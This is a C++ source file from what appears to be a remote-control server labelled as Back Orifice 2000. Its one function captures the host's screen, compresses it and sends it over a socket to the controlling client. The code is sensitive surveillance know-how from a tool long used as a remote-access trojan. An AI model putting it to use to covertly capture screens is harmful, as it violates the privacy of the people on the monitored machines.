📄 cmd_getscreen.cpp
字号:
/* Back Orifice 2000 - Remote Administration Suite
Copyright (C) 1999, Cult Of The Dead Cow
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
The author of this program may be contacted at dildog@l0pht.com. */
#include "stdafx.h"
#include "..\\Ctrl_Srvr9.h"
#include "..\\MainFrm.h"
#include "..\\SendKey.H"
#include "..\\WSocket.H"
#include "..\\GetScreenToBitmap.h"
#include "cmd_GetScreen.h"
#include "..\\JpegFile.H"
extern CCtrl_SrvrApp theApp;
//#include "strhandle.h"
//取屏幕图象
//inline int CmdProc_GetScreen(CWSocket *lpWSK, PSENDMSG lpSendMsg, CGetScreenToBitmap * lpImage)
int CmdProc_GetScreen(BYTE *lp1,BYTE *lp2, BYTE *lp3, BYTE *lp4)
{
CWSocket *lpWSK = (CWSocket *) lp1;
JpegFile *pic = (JpegFile *)lp4;
PSENDMSG lpSendMsg = (PSENDMSG) lp2;
CGetScreenToBitmap *lpImage = (CGetScreenToBitmap *)lp3;
CMainFrame *lpMain;
unsigned long lWidth, lHeight, lHeight2, lSize, lSize2, lHeadSize;
CHuffman *huf;
SENDMSG SendMsg;
LPSTR lpData = NULL, lpData1 = NULL;//, lpOld = NULL;
int nDelay = lpSendMsg->nDelay;
lpMain = (CMainFrame *)theApp.m_pMainWnd;
//Step 1:抓屏幕
if(lpImage->GetScreen(lpSendMsg->rcArea,
lpSendMsg->nBits, lpSendMsg->nArea) < 0)
return 1; //Error
//Setp 2:压缩图象
lpSendMsg->dwFileSize = lpImage->m_dwBmpSize; //图象体积
if (lpSendMsg->nCompress == 1) //Huffamn
{
if (pic->m_lpScreenBuffer == NULL || lpImage->m_dwBmpSize > pic->m_dwScreenMaxSize)
{
if (pic->m_lpScreenBuffer) GlobalFree(pic->m_lpScreenBuffer);
pic->m_dwScreenMaxSize = lpImage->m_dwBmpSize;
pic->m_lpScreenBuffer = (BYTE *)GlobalAlloc(GMEM_FIXED, lpImage->m_dwBmpSize);
}
lpData = (LPSTR)pic->m_lpScreenBuffer;
huf = new CHuffman;
if (huf && lpData)
{
lpSendMsg->dwBmpInfoSize = lpImage->m_dwBmpInfoSize;
//lpData = (LPSTR)GlobalAlloc(GMEM_FIXED, lpImage->m_dwBmpSize);
memset(lpData, 0, lpImage->m_dwBmpSize);
lSize = huf->ntEncode(lpData,lpImage->GetImage(), lpImage->m_dwBmpSize);
//lpOld = lpData;
if (lSize < 0) //压缩失败
{
lpSendMsg->nCompress = 0;
// lpData = lpImage->GetImage();
// lSize = lpImage->GetImageSize();
}
}
else//出错
{
lpSendMsg->nCompress = 0;
}
if(huf) delete huf;
}
else if(lpSendMsg->nCompress == 2) //Jpeg
{
if (pic->m_lpScreenBuffer == NULL || lpImage->m_dwBmpSize > pic->m_dwScreenMaxSize)
{
if (pic->m_lpScreenBuffer) GlobalFree(pic->m_lpScreenBuffer);
pic->m_dwScreenMaxSize = lpImage->m_dwBmpSize;
pic->m_lpScreenBuffer = (BYTE *)GlobalAlloc(GMEM_FIXED, lpImage->m_dwBmpSize);
}
lpData = (LPSTR)pic->m_lpScreenBuffer;
lSize = lpImage->m_dwBmpSize;
//lpData = (LPSTR)GlobalAlloc(GMEM_FIXED, lSize);
lpData1 = (char *)pic->LoadBMP(lpImage->GetImage(),
&lWidth, &lHeight);
// lpOld = lpData;
if (!pic->RGBToJpegFile((unsigned char *)lpData1,
(unsigned char *)lpData,
lWidth, lHeight,true,
lpSendMsg->nJpegQ, &lSize))
{
lpSendMsg->nCompress = 0;
// lpData = lpImage->GetImage();
// lSize = lpImage->GetImageSize();
}
}
else if(lpSendMsg->nCompress == 3) //动态压缩
{
if (lpSendMsg->nCell) pic->DeletePreData();
lSize = lpImage->m_dwBmpSize;
//lpData = (LPSTR)GlobalAlloc(GMEM_FIXED, lSize);
//lpOld = lpData;
lpData1 = (LPSTR)pic->BMPtoFix((unsigned char *)lpImage->GetImage(),
&lWidth, &lHeight, &lHeadSize, &lSize);
if (lpData1 == NULL) goto err_01;
lpSendMsg->dwBmpInfoSize = lHeadSize;
lSize2 = lSize;
lHeight2 = lHeight;
lpData = lpImage->GetImage();
if (lHeight <= 128 || !pic->RGBToJpegFile((unsigned char *)lpData1+lHeadSize,
(unsigned char *)lpData,
lWidth, lHeight,true,
lpSendMsg->nJpegQ, &lSize))
{
// lpSendMsg->nCompress = 0;
lpData = lpData1+lHeadSize;
lSize = lSize2;
lpSendMsg->iErrorCode = lHeight2;
}
}
else
lpSendMsg->nCompress=0;
if(lpSendMsg->nCompress == 0)//None
{
//lpSendMsg->nCompress=0;
lpSendMsg->dwBmpInfoSize = lpImage->m_dwBmpInfoSize;
lpData = lpImage->GetImage();
lSize = lpImage->GetImageSize();
}
//Step 3: 发送图象
// nCell = lpSendMsg->nCell;
lpSendMsg->dwBmpSize = lSize;
lpSendMsg->rcArea = lpImage->m_rcArea; //source size
//图象头信息
if(lpWSK->SendData((char *)lpSendMsg, sizeof(SENDMSG), 60) < 0)
goto err_01;
if(lSize == 0) return 0;
//动态头信息
if(lpSendMsg->nCompress == 3)
{
if(lpWSK->SendData((char *)lpData1, lHeadSize, 60) < 0)
goto err_01;
}
//图象部份
if(lpWSK->SendData((char *)lpData, lSize, 60) < 0)
goto err_01;
exit_01:
//if (lpOld) GlobalFree(lpOld);
return 0;
err_01:
//if (lpOld) GlobalFree(lpOld);
return -1;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -